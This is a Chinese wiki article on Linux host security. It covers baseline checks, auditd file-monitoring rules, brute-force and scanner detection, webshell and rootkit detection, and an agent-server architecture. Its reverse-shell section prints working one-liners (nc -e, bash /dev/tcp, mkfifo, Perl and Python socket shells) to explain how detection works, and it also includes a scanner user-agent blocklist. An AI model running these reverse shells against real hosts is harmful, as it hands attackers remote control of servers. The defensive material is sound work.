-
Notifications
You must be signed in to change notification settings - Fork 13
安全产品之主机安全
这里的主机都是指linux服务器,并非是windows,家里电脑一有问题,就认为是中病毒了,然后开始杀毒^_^。主机安全跟这个区别很大的,那么主机会遇到哪些安全问题。主机安全的相关开源软件也不少,知名的如ossec,ACARM-ng等,有兴趣的可以对比下,我们的与他们的不同。
基线可以参考下http://www.owasp.org.cn/owasp-project/jixian。 安全基线是事前安全检测,在业务上线之前对整个生产环境做安全检测。很多安全事件都是基线不达标造成的,比如root启动web服务,web服务目录权限配置错误等。
系统监控是保障业务运行时安全,主要监控用户行为,系统文件,系统命令,一般黑客入侵以后,都会篡改系统相关文件,命令,新增用户等
- 暴力破解
这个很好理解,所有机器都需要账户密码进行登录。一般登录服务器都是使用ssh协议,如果还有用telnet的,还是换了吧。ssh协议一般暴露的端口是22,自己也可以修改配置文件/etc/ssh/sshd_config的port,改成任意端口。有了对外的端口黑客就可以肆意扫描,进行暴力破解,获取系统账户密码。
- 感知扫描
只要主机挂到公网,就会面临每天不间断的扫描探测,获取你的主机的指纹信息,黑客得到更多的情报,以便进行下一步的攻击。
- 反弹shell
反弹shell是黑客惯用的手段,主要是服务器都在内网,外面有防火墙,正向连接不行。但是你又想控制中招的主机,反弹shell正好合适,攻击者指定服务端,被攻击主机主动连接攻击者的服务器程序。反弹shell方式多种多样,后面我们会详细介绍。
- github、svn信息泄露
这类泄露会直接造成代码泄露,后果很严重
- web信息泄露
这类主要是web配置不正确,以及phpinfo之类的造成信息泄露phpinfo之类的造成信息泄露
一般黑客入侵主机以后,都会留下后门,简单理解就是木马,方便控制主机,黑客留下的木马种类繁多,我们列出常见的几类
- webshell查杀
webshell说白了,就是php,java,asp,python等写的可以控制服务器的代码,简单理解就是一个socket连接,然后下发命令操作机器。最有名的也就是菜刀了。webshell核心不是代码,核心是怎么伪装不让人发现。
- rootkite
针对Linux主机的高级木马,现在一般都是基于Linux LKM机制编写的代码,隐藏极深,很难发现。
- 系统病毒
这种都是以恶意破坏或者勒索为主了,主机上遇到的不多,此处不多说。
以上这些是笔者多年来遇到的,常见的主机安全问题。
安全基线项目名称:
操作系统Linux用户口令
安全基线要求项:
安全基线项说明帐号与口令-用户口令
设置检测操作步骤:
1、询问管理员是否存在如下类似的简单用户密码配置,比如:root/root
2、执行:more /etc/login,检查PASS_MAX_DAYS/PASS_MIN_LEN/PASS_MIN_DAYS/PASS_WARN_AGE参数
3、执行:awk -F: '( == "") { print }' /etc/shadow, 检查是否存在空口令账号
4、判断是否开启双因素认证,一般使用google_authenticatorg,
cat /etc/pam.d/sshd|grep pam_google_authenticator.so
基线符合性判定依据:
建议在/etc/login文件中配置:PASS_MIN_LEN=8,不允许存在简单密码,密码设置符合策略,如长度至少为8不存在空口令账号,最好启用双因素认证
备注:
安全基线项目名称操作系统:
Linux超级用户策略安全基线要求项
安全基线项说明:
帐号与口令-检查是否存在除root之外UID为0的用户
检测操作步骤执行:
awk -F: '( == 0) { print }' /etc/passwd
基线符合性判定依据:
返回值包括“root”以外的条目,则低于安全要求;
备注:
安全基线项目名称操作系统:
Linux超级用户环境变量安全基线要求项
安全基线项说明:
帐号与口令-root用户环境变量的安全性
检测操作步骤执行:
执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,
执行:find
echo $PATH | tr ':' ' ' -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录
基线符合判定依据:
返回值包含以上条件,则低于安全要求;
find
echo $PATH | tr ':' ' ' -type d \( -perm -777 -o -perm -777 \) -ls
备注:
补充操作说明
确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录
安全基线项目名称:
操作系统Linux远程连接安全基线要求项
安全基线项说明:
帐号与口令-远程连接的安全性配置检测操作步骤
1、执行:find / -name .netrc,检查系统中是否有.netrc文件,
2、执行:find / -name .rhosts ,检查系统中是否有.rhosts
文件基线符合性判定依据:
返回值包含以上条件,则低于安全要求
备注:
补充操作说明如无必要,删除这两个文件
安全基线项目名称:
操作系统Linux目录文件权限安全基线要求项
安全基线项说明:
文件系统-重要目录和文件的权限设置
检测操作步骤:
执行以下命令检查目录和文件的权限设置情况:
ls –l /etc/
ls –l /etc/rc.d/init.d/
ls –l /tmp
ls –l /etc/inetd.conf
ls –l /etc/passwd
ls –l /etc/shadow
ls –l /etc/group
ls –l /etc/security
ls –l /etc/services
ls -l /etc/rc*.d
基线符合性判定依据:
`若权限过低,则低于安全要求;`
备注:
补充操作说明
对于重要目录,建议执行如下类似操作:
# chmod -R 750 /etc/rc.d/init.d/*
这样只有root可以读、写和执行这个目录下的脚本。
安全基线项目名称:
`操作系统Linux SUID/SGID文件安全基线要求项`
安全基线项说明:
`文件系统-查找未授权的SUID/SGID文件`
检测操作步骤:
`用下面的命令查找系统中所有的SUID和SGID程序,执行:`
for PART in
grep -v ^# /etc/fstab | awk '( != "0") {print }'; do
find / \( -perm -04000 -o -perm -02000 \) -type f -xdev -print
Done
基线符合性判定依据:
`若存在未授权的文件,则低于安全要求;`
备注:
`补充操作说明`
建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序
安全基线项目名称:
`操作系统Linux目录写权限安全基线要求项`
安全基线项说明:
`文件系统-检查任何人都有写权限的目录`
检测操作步骤:
在系统中定位任何人都有写权限的目录用下面的命令:
for PART in
awk '( == "ext2" || == "ext3") `
{ print }' /etc/fstab
; do`
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
Done
基线符合性判定依据:
若返回值非空,则低于安全要求;
备注:
安全基线项目名称:
`操作系统Linux文件写权限安全基线要求项`
安全基线项说明:
`文件系统-查找任何人都有写权限的文件`
检测操作步骤:
在系统中定位任何人都有写权限的文件用下面的命令:
for PART in
grep -v ^# /etc/fstab | awk '( != "0") {print }'; do
find $PART -xdev -type f \( -perm -0002 -a ! -perm -1000 \) -print
Done
基线符合性判定依据:
`若返回值非空,则低于安全要求;`
备注:
安全基线项目名称:
操作系统Linux文件所有权安全基线要求项
安全基线项说明:
`文件系统-检查没有属主的文件`
检测操作步骤:
`定位系统中没有属主的文件用下面的命令:`
for PART in
grep -v ^# /etc/fstab | awk '( != "0") {print }'; do
find $PART -nouser -o -nogroup -print
done
注意:不用管“/dev”目录下的那些文件。
基线符合性判定依据:
`若返回值非空,则低于安全要求;`
备注:
`补充操作说明`
发现没有属主的文件往往就意味着有黑客入侵你的系统了。不能允许没有主人的文件存在。如果在系统中发现了没有主人的文件或目录,先查看它的完整性,如果一切正常,给它一个主人。有时候卸载程序可能会出现一些没有主人的文件或目录,在这种情况下可以把这些文件和目录删除掉。
安全基线项目名称:
`操作系统Linux隐含文件安全基线要求项`
安全基线项说明:
`文件系统-检查异常隐含文件`
检测操作步骤:
`用“find”程序可以查找到这些隐含文件。例如:`
`# find / -name ".. *" -print –xdev`
`# find / -name "…*" -print -xdev | cat -v`
同时也要注意象“.xx”和“.mail”这样的文件名的。(这些文件名看起来都很象正常的文件名)
基线符合性判定依据:
`若返回值非空,则低于安全要求;`
备注:
`补充操作说明`
在系统的每个地方都要查看一下有没有异常隐含文件(点号是起始字符的,用“ls”命令看不到的文件),因为这些文件可能是隐藏的黑客工具或者其它一些信息(口令破解程序、其它系统的口令文件,等等)。在UNIX下,一个常用的技术就是用一些特殊的名,如:“…”、“.. ”(点点空格)或“..^G”(点点control-G),来隐含文件或目录。
安全基线项目名称:
`操作系统Linux登录审计安全基线要求项`
安全基线项说明:
`日志审计-syslog登录事件记录`
检测操作步骤:
`执行命令:more /etc/syslog.conf`
查看参数authpriv值
基线符合性判定依据:
`若未对所有登录事件都记录,则低于安全要求;`
备注:
安全基线项目名称:
`禁止显示Nginx版本号`
安全基线项说明:
`访问nginx服务器错误页面时不再显示nginx版本号`
检测操作步骤:
`修改nginx.conf配置文件,去掉注释符,关闭server token:`
server_tokens off;
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
安全基线项目名称:
`Nginx子进程禁止以root权限运行`
安全基线项说明:
`禁止OP错误的配置让nginx: worker process(工作进程)以root权限运行`
检测操作步骤:
`ps -aux |grep "[w]orker process"`
基线符合性判定依据:
若不存在,则低于安全要求
备注:
编辑nginx.conf,确认user后面的帐号为非root权限,无登录shell的帐号,如下例
user www-data;
或
user nobody;
安全基线项目名称:
配置敏感文件访问权限
安全基线项说明:
`严格设置配置文件和日志文件等敏感文件的访问权限,防止未授权访问`
检测操作步骤:
1、使用如下命令查看nginx.conf文件权限
#ls -l /etc/nginx/nginx.conf
若为-rw-r—r—即符合要求
2、按照上述方法查看.log格式的文件权限
acess.log和error.log
若为-rw-r—r—即为符合要求
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
`使用命令“chmod 644 /etc/nginx/nginx.conf”& /etc/nginx/conf.d/设置配置文件为属主可读写,其他用户无权限。`
使用命令“chmod 644 /var/log/nginx*”设置日志文件为属主可读写,其他用户只读权限。
安全基线项目名称:
`禁止备份、敏感文件解析`
安全基线项说明:
`禁止.tar .bak .svn .git等文件解析`
检测操作步骤:
`检测web目录下是否存在.tar .bak .svn .git等文件`
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
安全基线项目名称:
`mysql子进程禁止以root权限运行`
安全基线项说明:
`禁止OP错误的配置让mysql: worker process(工作进程)以root权限运行`
检测操作步骤:
`ps -aux |grep "[w]orker process"`
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
安全基线项目名称:
禁止redis子进程以root启动
安全基线项说明:
`禁止OP错误的配置让redis: worker process(工作进程)以root权限运行`
检测操作步骤:
`ps -aux |grep "[w]orker process"`
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
安全基线项目名称:
`禁止无密码访问`
安全基线项说明:
`禁止redis无密码访问`
检测操作步骤:
`无密码连接测试`
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
安全基线项目名称:
`禁止mongodb子进程以root启动`
安全基线项说明:
禁止OP错误的配置让mongodb: worker process(工作进程)以root权限运行
检测操作步骤:
`ps -aux |grep "[w]orker process"`
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
安全基线项目名称:
`禁止无密码访问`
安全基线项说明:
`禁止mongodb无密码访问`
检测操作步骤:
`无密码连接测试`
基线符合性判定依据:
`若不存在,则低于安全要求`
备注:
linux监控系统的开源软件很多,inotify,audit等,主机安全主要监控系统核心文件,命令被篡改,这些其实inotify都能解决,但是安全是一个说事实讲道理的地方,一个监控如果出现太多误报,可能就不是一个合格的监控软件。如果能关联到用户行为进行分析,准确率会大大提高。比如nginx 用户执行whoami命令,mysql用户执行useradd命令等。综合以上情形我们使用linux内核自带的auditd软件。
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/5.png
这个图来自网上
从上图可以看出audit主要就分为五个部分
1、auditd内核审计
2、audit应用态与内核通信
3、audit rule 规则管理
4、audit log 日志分析
5、auditctl 对外管理接口
使用步骤
1、yum -y install audit
2、准备规则文件
所有audit相关的都在/var/log/audit/目录
每条规则类似
auditctl -w /etc/passwd -p rwxa-k write:conf
规则写入/etc/audit/audit.rules中去永久有效。
每次加载规则,都需要/etc/init.d/auditd restart
-w path : 指定要监控的路径,上面的命令指定了监控的文件路径 /etc/passwd
-p : 指定触发审计的文件/目录的访问权限
rwxa : 指定的触发条件,r 读取权限,w 写入权限,x 执行权限,a 属性(attr)
-k:是设置一个关键词用于查询,在audit log里过滤
以下是笔者实际用到的规则,audit不支持*,需要修改auditd部分代码实现等方式实现,很简答,此处不描述了。
/etc/cron*,w
/etc/init*,w
/etc/mod*,w
/etc/pam*,w
/etc/rc*,w
/etc/rsyslog*,w
/etc/ssh/*,w
/etc/syslog*,w
/etc/sudo*,w
/etc/ld*,w
/etc/profile*,w
/etc/bash*,w
/var/spool/cron,w
/usr/bin/crontab,x
/root/.bash_profile,w
/root/.bashrc,w
/root/.tcshrc,w
/root/.cshrc,w
auditctl -l 查看所有规则
audit输出
time->Mon Dec 22 09:39:16 2014
type=PATH msg=audit(1419215956.471:194): item=0 name="/etc/passwd" inode=142512 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
type=CWD msg=audit(1419215956.471:194): cwd="/root/test"
type=SYSCALL msg=audit(1419215956.471:194): arch=40000003 syscall=5 success=yes exit=3 a0=b779694b a1=80000 a2=1b6 a3=b8776aa8 items=1 ppid=2090 pid=2231 auid=4294967295 uid=0 gid=0euid=0 suid=0 fsuid=0 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4294967295 comm="test" exe="/root/test/test" key=(null)
● time : 审计时间。
● name : 审计对象
● cwd : 当前路径
● syscall : 相关的系统调用
● auid : 审计用户ID
● uid 和 gid : 访问文件的用户ID和用户组ID
● comm : 用户访问文件的命令
● exe : 上面命令的可执行文件路径
了解很多细节可以man auditd
网络监控的软件太多了,nids网上一大堆,说实话都是配置复杂,误报奇多,搞来搞去解决不了啥问题,不如自己搞了。
1)暴力破解
`针对ssh的暴力破解,最好的就是分析ssh的登录日志了/var/log/secure,不同版本linux系统文件目录不一样,大同小异,统计单位时间登陆失败的次数,做冷冻封禁。封禁方式有多种,一般是iptables或者hosts.deny,比较简单,不再赘述。`
2)感知扫描
感知扫描主要是针对四层以上的攻击,四层以下的扫描,放到ddos模块说
1.端口探测扫描
`监控思路,某ip不断扫描没启动的危害端口如110,80,23等,且扫描的端口在本机没有被监听。具体哪些端口请根据实际业务情况配置。`
`linux端口说明请参考http://www.iana.org/assignments/port-numbers`
2.针对http head的ua的过滤
`grabber|cgichk|bsqlbf|mozilla/4.0 (compatible)|sqlmap||mozilla/5.0 sf//|nessus|arachni|metis|sql power injector|bilbo|absinthe|black widow|n-stealth|brutus|webtrends|netsparker|python-httplib2|jaascois|pmafind|.nasl|nsauditor|paros|dirbuster|pangolin|nmap nse|sqlninja|nikto|webinspect|blackwidow|grendel-scan|havij|w3af|hydra`
3)反弹shell
反弹shell常见姿势
正向反弹shell
服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc XX.XX.XX.XX 7777
即可获得服务器端的shell
反向反弹shell
服务端
nc -e /bin/bash XX.XX.XX.XX 7777
本地
nc -lvvp 7777
不使用-e参数反弹
使用管道
服务端
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe
攻击端
nc -lnvp 7777
mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。
Bash反弹
服务端:
bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻击端:
nc -lvvp 7777
0x03 Perl反弹shell
服务端:
perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
或者
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
说了反弹shell的姿势,笔者讲下反弹shell的检测思路。
本地执行 nc -lvvp 7777
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/6.png
服务端 nc -e /bin/bash XX.XX.XX.XX 7777
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/7.png
查看bash进程
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/8.png
大家都支持一般bash进程基本都是由ssh启动,如有突然由nc,bash perl python等启动,想想也是很诡异的。
检测思路主要就是查看/bin/bash的父进程是不是sshd
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/9.png
1.github、svn信息泄露
github信息泄露,我使用的weakfilescan
Python开发,多线程,猪猪侠开发中文注释,个性化定制,需要beautifulsoup4
用于渗透人员在对网站进行网站渗透时查找敏感文件(配置文件、临时文件)、敏感目录,会首先爬取目标站点的三层目录资源,生成目录FUZZ和文件FUZZ
https://github.com/ring04h/weakfilescan
svn信息泄露,自己写了一个简单的脚本,大致思路如下:
在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。知道这些直接做目录遍历就好了,很简单吧。
2.web信息泄露
多数是由于web配置不当引起,比如:
resin配置不合规,黑客可以访问resin控制台。
http:/xxxxx/resin-admin/
还有一类是代码泄露,比如js代码暴露服务路径甚至相关api
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/10.png
来自乌云(目前已关闭)的我是如何窃取到百度受http-only保护的cookie的
我下面说下,web信息泄露的思路
对常规web配置做基线检测,web泄露很难一次解决。
1.webshell查杀
现在市场上针对webshell(笔者主要研究了php)查杀的目前主要是三种
1)关键字查杀,比如php 执行 eval($_POST['123456'])
2)语法分析,比如 php 的token解析
3)系统层面的,主要看文件的创建时间,修改时间,创建人,名称等
上面三种都能解决特定的webshell查杀,但是说实话都有误报和漏报。webshell变形甚多,但是核心思路都肯定要执行命令,遍历文件,所以检测思路如下:
从php zend引擎出手hook ZEND_DO_FCALL_BY_NAME、ZEND_INCLUDE_OR_EVAL、ZEND_DO_FCALL,检测是否存在变量名危险函数,以及危险函数的参数是否是正常,一般黑客为了绕过正则查杀,都会对参数、函数用各种技巧进行变形,php是解释执行,zend引擎会对opcode做最终的还原,一切都无所遁行。
2.rootkite
rookite这类木马后门,笔者工作这么多年也就发现一起,这类查杀起来相当困难, Rootkit Hunter、rhkhunter 之类的查杀软件,说实话基本查不出来啥东西。我简单说下原理你就知道,比如:隐藏进程查杀
隐藏进程就是ps你看不到进程,但是该进程真实存在,我们现在先不管怎么做到的,有兴趣的可以看下suterusu,有内核功底的话,代码还是比较简单,此处略过。说下Hunter、rhkhunter之类怎么查杀隐藏进程的,大致思路其实就是
1)执行ps命令获取所有的进程
2)遍历proc目录
3)把两个结果进行对比,如果有不一样的就认为存在隐藏进程
说实话误报极大,而且懂内核也知道,虽然内核中进程都是基于task_struct结构体管理,把一个进程从结构体中替换还是很简单的,方法很多不一一列举。
所以我建议此类应该以预防位置,而不是查杀为主,大部分rookite都是依赖lkm机制,只要监控insmod命令应该就可以解决大部分这类问题。
3.系统病毒
笔者对病毒研究不多,实际工作中linux中毒也比较少,linux的杀毒软件比较有名的是clamav,支持病毒离线,有api可以直接杀毒,比较简单,就是影响性能。
上面说了很多主机安全的检测思路,下面就来具体说说主机安全的架构以及实现。
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/11.png
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/12.png
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/13.png
1).策略服务器
•主从模式
•从策略agent只读,主策略同步程序写
•支持策略服务器水平扩展
2).认证服务器
•Agent 身份认证
•Agent id分配
•Agent 会话秘钥分配
•Agent注册
3).通信服务器
•接收Agent长连接
•接收Agent消息,存入redis里
•支持通信模块集群
•支持通信模块水平扩展
4).消息处理
•处理redis里缓存的消息
•注册消息处理回调函数
5).同步命令
•定时把数据库命令同步到命令redis里
•定时同步策略到策略redis里
通过消息通道自动更新,就是覆盖文件,md5比较,比较简单不再赘述。
说道这里基本上主机安全的所有技术点都已经介绍完毕。
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/14.png
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/15.png
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/16.png
https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/17.png
请等待github更新代码吧^_^
如有转载,必须声明,谢谢。
2017-12-28 17:45 第一章